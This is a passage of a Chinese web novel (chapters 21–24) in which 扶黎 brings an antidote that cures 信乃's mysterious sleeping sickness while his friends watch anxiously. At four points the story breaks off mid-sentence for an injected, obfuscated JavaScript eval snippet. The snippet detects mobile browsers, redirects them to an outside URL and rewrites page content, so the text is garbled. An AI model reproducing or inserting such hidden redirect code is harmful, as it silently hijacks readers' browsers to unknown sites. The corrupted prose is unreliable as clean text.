“啊?嗜睡?”信乃脑袋一时没反应过来,嘴巴却下意识开始回答:“大概两个多周前吧,先是明明睡满了时间,早上却很难起,后来发展成只要坐下来就很容易困,没精神,我以为只是冬天到了,就跟动物一样需要冬眠。” 扶黎听完眼神一言难尽:“你以前冬天也这样?” “那、那倒不是,以前都很正常。” “既然如此,身体出现异常状况应该立刻重视起来,你怎么跟没事人一样,还给自己安排了冬眠的习性,冬眠是能说有就有的吗?” 扶黎语气很是恨铁不成钢,都嗜睡成这样了,是个人都会对自己的身体状况紧张,这个家伙倒是悠哉悠哉,自己给自己看起病来了。 信乃还在状况之外,对面的庄介却是立刻听出扶黎的言外之意,顿时书也看不下去了,站起身便迅速走到信乃身旁,也低头去看他的脸色,然而看了半天除了困倦外什么都没看出来。 事关的信乃的身体问题,庄介不复平日的沉稳,急切地向扶黎询问起来:“您可是看出了什么,信乃的身体问题很严重吗?能不能治好?其实我也早有察觉,但带他看医生又看不出个所以然,只以为是最近城中妖鬼太多他才会感觉疲惫。” 寒冷的天气虽然让人类和动物减少了活动,但妖鬼却不受影响,甚至有在冬日活动更频繁的妖怪趁此机会在城中大肆游荡。 庄介说着说着脸色不太好:“现在看来那些都不是原因,人类医生看不出来,是因为他的病不是普通的病,而是由妖鬼这些非人生物造成的是吗?” 迎着庄介殷切的眼神,扶黎没有卖关子,直截了当道:“看这个样子像是被什么给东西侵染了,我对这气息有点熟悉,一时半会儿忘记到底是什么了,但它让人昏迷,渐渐的灵魂和□□分开,只剩下一具躯壳……” 奇怪,这个症状怎么越说越熟悉,总感觉在哪里听到过,最近过得太平稳,以至于一时忘了第二次来这个小世界前鬼灯说过的话,扶黎摇摇脑袋,整理好思绪继续往下说:“幸运的是这东西对人类的伤害更大些,信乃已经不是纯粹的人类,所以只是感到困倦疲乏,事实上这就是身体在本能的对抗,我也说不好再这么下去到底是他自己扛过去还是越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128079|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越严重。” 扶黎没有说的是,就目前情况而言很可能是侵染信乃的东西更胜一筹,两个多周前扶黎见到他时完全没有察觉,之后又见过几次还是没发现,今天才明显看出不对劲,这很可能说明侵染程度在加深。 不过这只是没有根据的个人推测,为了不引起对方的过度担忧,扶黎选择暂且按下,安抚道:“先回去看看教会那边认不认识,我这边也会尽力回忆一番到底在哪里见过,如果有消息了我会尽快联系你们,相信很快就会有结果。” “好,那一切就拜托了。” 出了这么一档事聚会是聚不下去了,庄介当即带着信乃返回四兽神的宅邸。 一到地方庄介不由分说先把信乃送回房,强制按在了床上盖上被子,哪怕信乃反复强调自己除了有点累,其它一切都好。 “现在感觉好不代表之后不会忽然恶化。”庄介眼神满是忧虑,仿佛一下回到多年前的那个夏天,身体孱弱的竹马,只能日复一日躺在光线昏暗的房间,苟延残喘地活着。 害怕他哪天就不能再睁开眼睛,害怕只是出去一会儿再回来信乃就不见了,类似的担忧日复一日萦绕在庄介心头。 本以为不会再体会那种心情,没想到仅仅5年就像诅咒一般,兜兜转转又让他遭遇了这一切。 或许是看穿了庄介的心事,信乃没有坚持从床上下来,他乖乖躺在被窝里,明亮的眼睛直率地看向庄介,语气平静:“不要担心,庄介。我没那么容易死去,我向你保证。” 青年沉沉垂下眼睫,对视间他终于露出一个温柔的笑:“好,我相信,现在乖乖休息,我去找里见先生。” ------------------------------------- 而另一边,扶黎想了半天都没想起来,到底在哪里听过这种症状,这也不能怪他,实在是鬼灯只提过一嘴,然而自从到了这个小世界,半个月过去一切风平浪静,搞得他完全没机会“复习”。 为此扶黎专门回了一趟城外住所,询问过阿年后,幸运地发现他们还记得。 阿年轻声细语,手上不忘继续勾针,他最近爱上了做毛线小饰品:“上次不是还带回来两瓶药吗,其中一瓶就是解药,我给收到您房间的柜子里了。” “哦,是有这回事来着。”扶黎一拍手,感觉自己的记忆终于恢复。 去房间先把药了出来,不过巴掌大的蓝色小瓷瓶,里面装了大概五十颗左右的药丸,药丸个头不大,还不到豌豆一半大小。 瓶子里还有一张小纸条,上面写着用法:一次一粒,一天一次,药效较强,起效后建议暂时停药,观察一天,若还有问题再行用药,重复上述过程。 鬼灯给的药一定是没有问题的,关键是怎么说服四兽神的人相信,而且药的来源也很难解释,总不能拿着药上门就让别人吃,虽然他是好心,但别人不知道啊。 扶黎一时沉默,坐在床边苦苦思索起借口来。 22. 第 22 章 晚上的帝都下了一场小雪,仿佛特意契合庄介此时糟糕的心情一般,白天他回来了就先找莉芳,但不巧的是莉芳最近不知道在忙什么,总是早出晚归,庄介等到月上柳梢头都没等到人回来。 渐渐到了深夜,庄介怀着心事没有心思睡,也睡不着,时间一点一滴流逝,窗外的小雪断断续续落个不停。 直到深夜12点,玄关的大门传来打开的声音,莉芳肩上带着落雪走进来,雪忽然大了起来,不过是从停在门前的车上走进屋里这么一小段距离,肩上头上便落了雪。 莉芳停在玄关轻轻拍了拍身上的雪,忽一抬眼手上动作便顿住,疑惑地问道:“你怎么还没睡?” 庄介站起身来,脸上是他自己都不知道地松了一口气:“找你有急事,关于信乃的。” 莉芳眉头微皱,默默加快了手上动作,换好鞋后径自走向书房:“过来书房说吧。” 书房已经好几天没能迎来他的主人,这还是时隔数天莉芳第一次进来,往常因为回来时已经是深夜,他会直接回房休息。 在沙发上坐定,莉芳有些疲累地开口:“说吧,信乃又闯什么祸了。” 庄介:“要真是他闯祸倒好了,我也不至于大晚上不睡非得等你回来商量。” 事情紧迫,庄介担心每浪费一秒,信乃身体都有可能恶化,接下来便长话短说,将今天发生的事一一告知, 莉芳听完表情不是很好,再次确认道:“信乃最近很嗜睡吗?” “是的,明明每天睡眠时长都够,晚上也没有频繁起夜,但白天还是会打瞌睡。” 莉芳听完依旧维持着冷静,双手交叠放在膝上垂眸沉思,片刻后忽而抬眼:“听起来倒是和犬村先生妹妹的症状有些吻合,自从被玉梓蛊惑后,她就一直在沉睡着,如果信乃的身体变成最糟糕的状况,不就和她一样,也符合非人类抵抗力强一些,而人类会迅速陷入沉睡的说法。” 说到这里,莉芳问道:“信乃在房间里吗?现在可不可以过去看一下?” 庄介点点头,两人这才去了信乃的房间。 昏暗的房间里安静无声,平时信乃的睡眠就很好,更何况最近状态不佳,房内的灯被打开,刺眼的光照在脸上,信乃却半点清醒的迹象都没有,睡得不省人事。 莉芳俯身去看信乃的面色,在有提醒的前提下,确实能看出有些异样,但更多的却看不出。 面上虽然没有变化,其实莉芳内心不无忧虑,不知道这个同母异父的弟弟是不是命不好,从出生起就大灾小灾不断,5年前差点死去,好不容易以被村雨附身为代价活了下来,如今却又遇上死劫。 “嗯?这个感觉有点熟悉。”莉芳思绪纷杂间,忽然一点灵光闪过,想起了几周前点大法师交给他的瓶子,安全起见那东西现在还在教会进行秘密实验,连接触都要做好完备措施,但作为第一手获得者,莉芳或者说八房对它的味道还有印象,现在信乃身上就有这种味道,非常浅淡,不仔细去嗅闻几乎几乎闻不到。 听了这话,庄介也凑近了点,然而什么都没感知出来,便问道:“你见过吗?” 莉芳直起身往后退了一步,淡金色发丝垂落:“前几日从点大法师手上偶然得到过的东西,和信乃身上的味道很相似,我怀疑是同一种,明天我会去教会再问一遍进展,暂时也没有其它更好的方法,只希望村雨能展现出它一如既往的威名,争取尽可能多的时间。” 话说到这里气氛一时沉默下来,庄介心情不太好,开口时声音也压得很沉:“最近我就不去教会帮忙了,要照顾信乃,分身乏术。” 如今这种状态让他去外面他也没有心思,如果信乃的身体无法好起来,那么一切都没有意义。 莉芳只能安慰:“不要太担心,他不是那么容易死的家伙。” 然而语言在此时只会分外苍白,莉芳摇摇头退了出去。 连日的早出晚归令莉芳分外疲惫,房间的灯都没打开便先倒进了沙发里。 似乎察觉到主人纷乱的心绪,巨大的白犬从虚无中慢慢显出身形,庞大的体型几乎将房间填满,柔软的毛发轻盈蓬松,却奇异地没有发出一丝声响。 “只是有些累罢了,八房,不要如此躁动不安。”莉芳睁开眼,一双冰蓝色的眼眸便在近前,物似主人型,八房和莉芳一样非常高冷,听见莉芳的话,八房并不回应,只是闭上眼,缓缓低下头颅在房中趴下。 看样子是打定主意今天晚上不回去,就这样守在莉芳身边了。 无奈地抚了抚八房的毛发,莉芳没再说什么,只是到底心中有事,莉芳这一晚都没怎么睡好,天刚蒙蒙亮就醒了,满打满算不过睡了四个小时,以至于醒过来的时候不仅头疼,眼睛也酸涩胀痛。 但接下去没那个心思睡,昨晚信乃的事还压在心头,不如早些去教会。 而另一边扶黎虽然找到了解决的办法,却不知道该怎么去跟他们说,这样突然拿出解药来也很奇怪,甚至会让对方怀疑他是不是和这件事有什么关系。 但要是不给解药,事情就有可能发生到最糟糕的地步,本来就是因为地狱的疏忽,他们才会遭此一劫,扶黎当然不会允许这样的事情发生。 思前想后,扶黎决定再等两天,做出他在外面寻找过一段时间才回来的假象,然后就说这是好不容易得到的,具体来源保密,如果不放心的话,药也可以多给一些方便他们做实验,最好他们能直接复刻出来,因为有些药材是地狱特有,这个世界肯定找不到,所以就算把配方告诉他们也无济于事,但未必不能在这个世界找到替代的药材。 于是就这样安安分分待了几天,家门是一步没出,第四天的时候终于施施然踏出去了,为此扶黎还和阿福阿年对了下台词,防止之后说漏嘴引起不必要的怀疑。 阿福很是担心:“要是他们问我细节可怎么办?” 扶黎弯下腰和阿福目光对视:“那你就推到我身上来,记住,不要说太细节的事,问就是不知道,说得太细节反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128080|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而更容易出错,明白了吗?” 阿福似懂非懂的点头,表情懵懵的,一看就让人非常不放心,感觉分分钟就会露馅。 算了,到时候见招拆招,总有办法糊弄过去。 因为这次没有提前联系,再加上信乃的身体状况,扶黎估摸着在古那屋应该碰不见他们,便直接找上了门。 四兽神家的宅邸一如既往的气派,扶黎站在大门犹豫了片刻,见半天都没人出来,只好上前去敲门。 敲了半天没人应,扶黎退开一步仔细瞅了瞅,很快在门边发现了门铃——对哦,这么大的房子,光靠敲门确实很难让里面的人听到。 在门铃上重重按下,等待半分钟,还是没人应,继续按,继续等,最后扶黎开始快速按门铃。 “来了来了,别按了,就来!” 五狐慌慌张张跑出来开门,只不过是屋子里耽搁了一会儿,这门铃就像是疯了一样响个不停,本来以为其他人会去开它们才磨蹭了会儿,没想到屋子里好像没人,谁都没去,它们才急吼吼跑下来。 五只小狐狸挤挤挨挨跑到玄关去开门,然后一起探着脑袋向外看。 而扶黎就看到了忽然出现的五颗毛茸茸的狐狸头,上次有过一面之缘,只不过是扶黎单方面。 金狐从兄弟们间挤出来,仰头望着扶黎:“你是谁,好像没见过?” 哇,真是好直接一狐狸,说话一点都不委婉的。 不过直来直往才是妖怪的风格,哪天委婉起来才是可怕,说不定正憋着劲儿要对你使坏。 扶黎蹲下身和这些小狐狸保持一样的高度,努力释放自己的善意:“我是信乃和庄介的朋友,这次有重要的事情来找他们,麻烦可以帮忙叫他们一下吗?” “嗯……好吧,看在你这么尊敬我们的份上。”金狐瞅着扶黎蹲下后矮下的身形,颇为受用地答应了。 五只小狐狸又一溜烟跑进去,大门“嘭”地关上。 扶黎:关门能不能不要那么大声,这样他看起来很像是吃了闭门羹,很丢脸欸,还好这边算是现世讲的那种富人区,地多人少没人看见…… 倚着墙又无聊的等了几分钟,终于等到门再次被打开的声音,出来的依旧是五只小狐狸,不过这次门全部打开了。 金狐朝他招招手:“快进来吧,庄介本来要出来找你的,但信乃最近的情况不太好……” “喂,你怎么随随便便就说出来了,不是不让乱说吗?” “啊,我忘了,不过他是庄介的朋友,肯定没问题啦。” “………算了,反正庄介都同意他进来了。” 小狐狸们边嘀嘀咕咕边在前头带路,长长尾巴从衣服下摆钻出,活泼地甩来甩去。 扶黎跟在它们身后,出于礼貌并未左顾右盼,但光是眼前看到的也足够想象出这套宅子到底有多大。 是扶黎梦寐以求的了,不过他不需要这么大,太大了三个人住起来空荡荡的,他只要四分之一大小就够了。 23. 第 23 章 小狐狸们在宅子里熟练地绕来绕去,这里拐一下,那里拐一下,要不是扶黎还有些方向感,回头么出去都不知道,由此再次证明这间屋子是真的大,还有不知道哪个天才设计师设计的格局,这是让人在屋里捉迷藏吗? 走了小一会儿,金狐终于在一间房前停下,然后回头对扶黎道:“信乃和庄介就在里面啦。” 扶黎一秒挂上笑容,正想问要不要他自己敲门,就见面前的小狐狸忽然一跃而起挂上门把手,随后身体向下用力,一气呵成打开房门。 扶黎:……沉默是今晚的康桥。 金狐却不觉有异,“哒哒”跑进屋里,口中小声喊道:“庄介,你的朋友我带到啦。” 随后是庄介的声音:“谢谢,今天新做了绿豆糕,在厨房有很多,为表感谢大家可以随取用。” “好耶!”小狐狸们立刻一齐欢呼起来,风风火火从扶黎身旁蹿过,然后“哒哒”跑出房间,奔向诱惑的美食,最后还不忘带上房门。 扶黎连忙闪身躲开,这几个小家伙可比他家里的闹腾多了,完全是横冲直撞的类型啊。 无奈地摇摇头,扶黎抬眼看去,面前大概是个类似休息室的地方,一整面向阳的玻璃窗,还有面积足够大的阳台,如果是风和日丽的日子里,躺在阳台上摇椅里,闭上眼享受这片刻的宁静一定是一种非常舒适的体验。 只可惜最近阴雨连绵,窗外树木也在冬日落尽了最后一片叶整个光秃秃,实在是没什么好景致,满目萧条之象,但比起休息的房间这里到底更加宽敞敞亮一些,不那么阴暗沉闷。 窗户前有一副摇椅,信乃闭着眼躺在上面睡得不省人事,而庄介则守在一旁,满目担忧。 不出所料,信乃的身体终究没能站在胜利的那一方,每天清醒的时间也越来越短,虽然他自己很乐观,觉得总会有办法,但这种毫无根据的乐观却无法让庄介放下心来。 教会那边也进展缓慢,多日过去,除了知道这症状是由什么东西引起的,解决办法依旧毫无头绪。 现在就像有两种东西在信乃的身体里争斗,村雨维持信乃不死,而那样东西却试图让信乃长眠。 村雨并没有输,只是作为战场,信乃的身体变得不堪重负,只能靠睡眠让自己不那么难受,再这样下去,会不会变成植物人呢? 如果不是村雨,信乃现在已经只剩一具躯壳,联想到一直在谋划信乃的身体做儿子复生容器的玉梓姬,凶手是谁简直昭然若揭。 苦笑着看了扶黎一眼,庄介叹息一声:“真是不好意思,最近实在是走不开,我已经好几天没出门了,刚刚也是,本来应该亲自出门接待的……” “不不不,这都是小事。”扶黎对着他摆摆手并不在意:“本来就是我突然拜访,也不是什么贵客随意一点就好,你要是真的出来迎接,我才会觉得不好意思呢。” 话说到这里,扶黎见庄介控制不住心不在焉的样子,干脆跳过这些不重要的话,直言自己过来的目的:“这次其实是有个好消息要告诉你们。” 庄介愣愣地重复:“好消息?” “关于信乃的事我回去之后又仔细想了想,终于有点漏了一点头绪。”扶黎取出随身携带的瓷瓶,蓝色的瓷瓶不过巴掌大小,将瓷瓶推过去,扶黎笑容温和:“这里面是解药。” “解药……”庄介一副没有回神的模样,下一秒忽然他激动地站起身,桌上的花瓶差点被撞翻也顾不上,眼睛死死盯着瓷瓶:“是能治好信乃的药吗?” 他的眼神满含期冀,仿佛扶黎只要说一句不是,眼里的光就会瞬间黯淡。 幸好扶黎点了点头:“我可以保证这药能治好信乃,但因为没办法将药的来源全盘托出,所以里面的药量对于一个人来说绰绰有余,剩下的就拿去做实验吧,等你们放心了再给信乃服用。” 这几句话可以说将庄介的担忧提前说了出来,为此庄介还有几分的愧疚,别人好心帮忙自己却还要抱有怀疑。 扶黎劝庄介不要有太大负担,这样的事换做任何人都会有警惕心,更何况他不透露药的来源,毫无保留信任才会让人觉得奇怪。 “好了,今天过来主要就是为了这件事。” 说完扶黎这就站起身准备离开,庄介还要留他一留,被扶黎婉拒了:“你现在应该没心思在这边待着,我就不久留了,等过几天希望有好消息传来,到时候我们再聚。” ------------------------------------- 得到药后庄介第一时间便交给了里见莉芳,通过他让教会先进行实验。 很快好消息传来,这药确实有用,被那瓶水污染过的动物在服下药后迅速清醒,虽然还有些蔫蔫的,但经过几天休养后便与之前无异。 庄介立刻决定给信乃服用这种药物,原本不该这么着急,再观察十天半个月才好确认这药是否确实没有问题,可时间不等人,庄介只好赌上一把,赌他们新认识的朋友确实是位朋友。 小小的药丸被塞进口中,庄介又小心喂入清水,小股清水从嘴角溢出又被庄介迅速擦去。 昏睡的信乃已经没有吞咽意识,幸亏这药丸不大,庄介托高信乃的头部,让药丸勉强下去了。 等待的时间实在难熬,不过短短半个小时的时间却仿佛被拉长了很久,一分一秒都如此清晰,各种不好的想法乱糟糟充斥在脑海里——万一药对信乃不起效怎么办?万一服药后情况变得更糟呢?万一…… 万一万一,脑中有无数万一在盘旋,都抵不过看到信乃睁眼的那一霎那。 庄介猛地站起身扑到床前,方才所想被全部抛之脑后,只剩下担忧和惊喜:“信乃你终于醒过来了,感觉怎么样?有哪里会痛吗?会不会很累?” 信乃使劲眨眨眼,脑袋里跟浆糊一样一团乱,歇了片刻这才清醒过来,他张张嘴,声音嘶哑道:“身上不痛就是有点累,还有……好饿啊。” 能不饿吗,昏睡这么多天只能给他喂进一些汤水,哪怕加上许多肉骨头将汤水熬得很浓稠富有营养,左右也不过还是些水,消化极快。 信乃还在虚弱发声:“庄介,我想吃烤肉,还想吃火锅。” 庄介拿了枕头给他垫垫高,顺便残忍拒绝:“不行,你这几天都没有好好吃过饭,肠胃还很脆弱,我去给你熬粥,暂且忍过这几顿,之后想吃什么给你做什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128081|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想过信乃这么快就能醒过来,再加上用餐时间已过,厨房里一点剩下的食物都没有,庄介只能现做了些清淡的食物,。 "庄介,你怎么这个时候还在做饭,中午不是吃过了?"今天周末没去上学的滨路正巧经过,见厨房有人在动火,便过来看了一眼,这一看就发现竟然是庄介,明明中午大家才在一起吃过。 庄介手上正切着香菇,准备一会儿放进粥里,听见滨路的声音这才想起来,一时激动竟忘了告诉大家信乃醒来的消息。 原本昨日莉芳他们就商议着要给信乃服解药,只是庄介一直下不了决心,莉芳和要知道他们感情深厚,自然无法轻易同意,于是将选择权交给了他,只是嘱咐一定要尽早决定,不要太过拖延。 左右也要到这一步,庄介辗转反侧了一晚,第二天便拿了药去用,未免其他人跟着担心,庄介没有告诉任何人,只自己守在一旁。 拿布包着将砂锅盖掀开,倒入切好的香菇,庄介转头带着笑意道:“忘了说,信乃醒过来了,这会儿肚子饿,我给他做点吃的……” 庄介话未说完,滨路已经激动地连声问起:“真的醒了吗?太好了,我这就去看看。” 滨路“哒哒哒”迅速跑走,一路小跑不带停顿,庄介无奈地摇摇头,继续守着自己的炉灶。 等这锅粥焖好端进房种,信乃的房间里已经挤满了人和妖,都是听到滨路的消息后过来看望的。 尾崎要趁信乃身体虚弱没力气反抗,在他脑袋上好一通撸,本来就不太整齐的头发被彻底揉成了乱鸡窝,信乃怒目而视,可恨自己身体太虚反抗不了,只能咬牙恨恨的:“你给我等着!” “好好好,我等着。”尾崎要哄小孩一般敷衍地回了句。 眉眼却满是笑意:“你这么乖的时候可是少见,我现在要是不好好欺负欺负,下次可就没机会喽。” 信乃:……气死了! 庄介进来看见的就是这样一幅画面,不过他并未阻止,只是端着粥放到一旁,然后将信乃扶坐起身。 炖的浓稠软烂的米粥里掺了少许肉末,虽然不多,但也能解解馋,出锅前庄介撒了些葱花上去,一锅粥光看卖相便很诱人。 庄介舀了一勺递到信乃嘴边,信乃别扭地偏开头:“我自己喝。” “自己喝你有那个力气吗?手都抬不起起来,勺都握不住,怎么自己喝?”庄介一句话戳破信乃现在纸糊一般的现状。 信乃暗暗使劲儿,一股酸感顿时袭来,他悲伤地发现自己确实抬不起手,于是只能屈辱地把头扭回来低头喝粥,没办法,不喝更没力气,当初生病最严重那会儿都没让人喂过。 这边一个喂一个吃,尾崎要坐在一旁翘着腿跟他们闲聊:“莉芳回来后一定很高兴,虽然那张面瘫脸看不出什么,但这几天其实他也很担心,本来就没什么表情,最近更是像个冰块,嗖嗖冒冷气。” 庄介给信乃擦了擦嘴,端起水杯给他喂水:“里见先生今天还在工作吗?” “好像是吧。”尾崎要耸耸肩:“谁让他天生劳碌命呢,休假的日子也去工作,要我说能推就推,管那群教会的老头子使唤,他们也不能真的把我们怎么样。” 24. 第 24 章 话是这么说,但莉芳并不喜欢冲突,这会给他本就不太平的生活带来更多麻烦事,相比之下帮教会做些事情就能规避这些,让四兽神内部安稳下来,这笔买卖仔细算一算也不算亏本。 尾崎要却没那么能忍让,他一向讨厌教会的老头子,因此有事能避就避,实在避不了就敷衍地顺着去做一做,反正教会也不敢随便对他们出手,双方的平衡就这么微妙地维持着,若是有一天被打破,那一定是教会先挑的事。 一锅粥下肚,信乃总算有了几分力气,自己撑着床靠着枕头坐着,庄介还想让他再休息一会儿。 信乃苦着张脸不肯:“之前躺了那么久搞到现在浑身都难受,再躺下去就该长蘑菇了,而且也睡太多现在根本睡不着,可不可以出去晒晒太阳。” 庄介有几分为难:“最近天气不太好,已经好几天没出晴天了。” “那去院子里坐坐也行。”信乃不肯放弃,仍然试图出去放风。 庄介心硬如铁:“外面冷得很还在刮风,就你现在的小身板,被风一吹不出意外又得倒下。最近几天你就努力忍忍吧,等你能自己下床了,别说是院子里就是外面也随便你去,只是有个前提,得带上人。” 经过这次的事,庄介一朝被蛇咬十年怕井绳,这回运气好遇上了提供解药的,下次还能有这样的好运气吗? 因此甭管信乃怎么说,庄介就是不肯松口答应。 信乃也不是一点不懂事,虽然在家里待着很闷,但想到自己躺了那么久,让大家跟着担心就有些不好意思闹折腾腾。 尾崎要在旁边看了一会儿,给他们出了个折中的主意:“既然不能出去,那就去花房或者阳台上,看看外面的景色也是好的。” 庄介收拾好碗筷,又细心的把床上小桌擦了一遍,听见尾崎要的提议倒是并未拒绝:“花房就算了,气温降下来后花房里的植物长得也不太好,倒是蚊虫都躲那儿了,你要是想被咬一身包的话就去吧。” 庄介都这么说了,信乃怎么可能去。 这边的厨房还要收拾,庄介又恢复了信乃昏睡之前的忙碌,于是尾崎要搭了把手,将信乃抱到阳台,不过几天的时间信乃却瘦了许多,抱起来轻飘飘的,小狐狸们紧随其后,“吭哧吭哧”帮忙推摇椅,滨路给摇椅铺上软和的垫子,简直一条龙服务。 信乃在摇椅里咕涌来咕涌去,终于找了个舒服的姿势。 只是可惜没有太阳,只能看着还算亮敞的天空。 盯着外面发了一会儿呆后,信乃忽然想起一件事:“话说回来这次究竟是怎么回事儿?我感觉睡了很长一段时间的觉,然后忽然就醒了。” “这就说来话长了。”安置好信乃后,尾崎要也找了把椅子在旁边坐下,这会儿正好给信乃答疑解惑:“可不是忽然醒了,庄介和莉芳两个人到处想办法,不知道多少天没睡好,我们这些没头绪的只能干着急,就这么着过了许多天你才终于清醒,所以一点都不突然,大家可是想了各种办法。” “是吗?”信乃目光平静地看着窗外,光秃秃的枝头立着一只过冬的鸟,蓬松的羽毛阻隔了外界寒意,使得它不必迁徙过冬。 眨了眨眼,信乃看向尾崎要,消瘦的脸庞上唯有一双眼睛亮得惊人,他问出了自己最想要问的问题:“那最后是怎么找到办法的?彻底昏睡之前我记得这边还一点头绪都没有,庄介虽然有心隐瞒不想让我担心,但一起相处了这么久,我怎么可能看不出来,他每天都睡不好黑眼圈都出来了,笑也是强颜欢笑。” 因此即使心知肚明信乃却没有提起过一次,那样只会让庄介更加焦头烂额,不如假作不知。 尾崎要皱起眉仔细想了想,详细情况其实他也不太清楚,只是听莉芳大概提起过,现在便拣着自己知道的大概讲了讲。 信乃听完非常惊讶,甚至在躺椅里往上蹭了蹭,让自己看起来像是坐着而不是躺着:“你确定是扶黎过来送的药?” 尾崎要再次肯定地点头:“当然,莉芳他们那天忽然拿着药到教会的研究院进行实验,我出于好奇也跟过去看了看,顺便询问了莉芳,这才得知药似乎是你们在外面交的朋友送过来的。” “大家一开始也怀疑过会不会你们这个朋友就是幕后黑手,但害了人之后过来送药似乎有点多此一举,不做这件事你昏睡的事也已成定局,再来送药反而惹人怀疑。不过莉芳他们安全起见,还是对药进行了实验,确定没问题才给你服用。” 信乃压下心底的惊讶,感叹一声:“没想到只是偶然在店里遇到的人,竟然会救我一命,不知道我是运气好还是运气不好。” 说他运气好就不会染上这次的怪毒,说他运气不好解毒的药自己送上门。 “我觉得小信你的运气很好哦~~”尾崎要撑着下巴笑眯眯看着他:“被暗算不管运气好不好大概率都会中招,有心算无心可不是普通的运气就能避免的,所以你算不上运气不好,但之后能找到解药就是你运气很好的表现,一般人求之不得呢。” 信乃听着这么温柔的话非但没感动,反而搓着胳膊一脸莫名:“你怎么了?平时的根本不会说这种话,不顺势调侃我两句就不错了。” 说着信乃恍然大悟般一锤手心:“难不成你也病了,那你赶紧去休息吧,不要在这照看我了,这样我受之有愧。” “噗嗤。”在一旁安静看草药书的滨路终于忍不住笑出声来。 尾崎要额头青筋直跳,笑容逐渐变得险恶起来:“难得对你温柔一次你就给我好好接受,别推三阻四,小心我现在把你头发薅秃。” “哈?!为什么?关我的头发什么事?” 尾崎要作势要来撸他的头,一副恶狠狠的样子:“谁让你这么病恹恹的,说话还这么气人,打又打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128082|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得骂又骂不得,只能揪点没用的东西杀杀你的气焰。” 信乃乍着手不肯他碰,很不服气道:“怎么没用了,头发很有用的好不好!要是真被你薅没了小心我之后跟你没完!” 尾崎要也不动真格,就在他脑袋边绕来绕去,信乃也跟着到处挡,平时轻轻松松的动作,在大病一场后只一会儿就让信乃有点气喘。 “好了。”滨路抬起书在尾崎要头上拍了一记:“差不多就行了,信乃现在不能这么大动作,你想玩的话等他好了再继续。” 尾崎要意犹未尽靠回椅背:“等他好了就不能这么玩了,肯定滑不溜手,碰他一下得窜起来老高,不过这次也算是过了把瘾,放过你了。” 对此信乃的回答是一个老大的白眼,真是虎落平阳被犬欺,等好了他一定要“报仇”! 刚在厨房忙完的庄介一过来看见的就是这副场面,战事初歇,空气里似乎还有火药味儿,一个忙着理自己乱了的头发,一个悠哉悠哉喝着茶。 庄介叹了声气:“你们两个凑在一起真是没有几次能安静的,这样不累吗?” 信乃不服气,努力为自己正名:“这次可不是我先的,都怪要手欠!” 庄介斜眼:“哦——这么说之前几次确实有你的原因在。” 信乃:“……”怎么还带翻旧账诱供,这是不道德的你知道嘛! 面对这样的局面,信乃选择了转移话题大法:“对了,这次我能好起来都要多亏了扶黎,是不是应该请他过来吃顿饭。” 庄介从善如流“忘记”了上个话题,顺着信乃的花接下去:“我也是这么想的,但上次扶黎送完药直接走了,也没留下过住址,我想找都不知道去哪里,现在只能等他来找我们。” 仔细想一想,他们对这位朋友的实在了解甚少,只知道对方是远道而来的旅人,就连朋友关系也是因为对方将叶月送到古那屋后才渐渐产生了交集…… 理着理着,庄介感觉出一丝不对劲,好像自从扶黎出现后,总是会发生一些对他们这边来说的好事,这是正常的吗?难道真的只是运气好? 庄介百思不得其解,只得暂且放下,不管怎么说特意来救人怎么也不会是敌人。 玉梓姬离最终目标——获取信乃的身体做为儿子的转生容器——只差一步之遥,如今却被全盘打乱,她是疯了才会这么做。 连续阴了几日后,帝都终于迎来了难得的晴天,信乃在庄介的照顾下也恢复了不少,至少一个人慢慢散步不成问题,至于体力问题,那还得一段时间才能恢复。 早在刚刚能走的时候他就吵着要出门了,但家里没人愿意陪他出去,他自己一个又走不了多远,可能还没走出这栋房子的可视范围就在半路歇菜了…… 好在最近庄介总算松了口,偶尔会给他来点烤肉和大骨头炖汤,因此家里也算勉强待得下去。 25. 第 25 章 